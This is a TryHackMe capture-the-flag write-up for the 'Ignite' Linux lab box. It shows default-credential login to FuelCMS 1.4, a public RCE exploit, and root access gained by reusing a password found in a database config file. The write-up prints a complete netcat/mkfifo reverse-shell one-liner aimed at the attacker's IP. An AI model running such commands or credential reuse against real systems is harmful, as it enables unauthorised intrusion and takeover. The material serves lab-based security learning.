IGNITE — TryHackMe WriteUp

IGNITE is a LINUX machine of EASY difficulty.

Do a rustscan to check for open ports:

rustscan -a 10.10.80.10 --ulimit 5000 -- -A -Pn -T4 -sC -sV

Only one port. Let’s visit the site:

There’s a version: 1.4

There’s one entry in robots.txt:

Let’s visit it:

It’s a login page. I tried logging in with admin:admin, and I was logged in!

It says to change password, well, I don’t want to…

Anyways, I searched around a bit, but didn’t find anything. I then searched if there is an exploit for the version 1.4 of FuelCMS on searchsploit, and I found this. Using this script:

I got RCE! Let’s get a reverse shell. I used this payload:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.17.26.199 1234 >/tmp/f

And I got a shell!

Get flag.txt from /home/www-data/flag.txt

Now, for escalation. I stabilised the shell using socat first. Then, I ran linpeas, and I found an interesting file: /var/www/html/fuel/application/config/database.php

Username: root
Password: mememe

Let’s see if this is actually the root’s password. I tried to su into root, and:

Get root.txt from /root/root.txt

We have successfully pwned the box!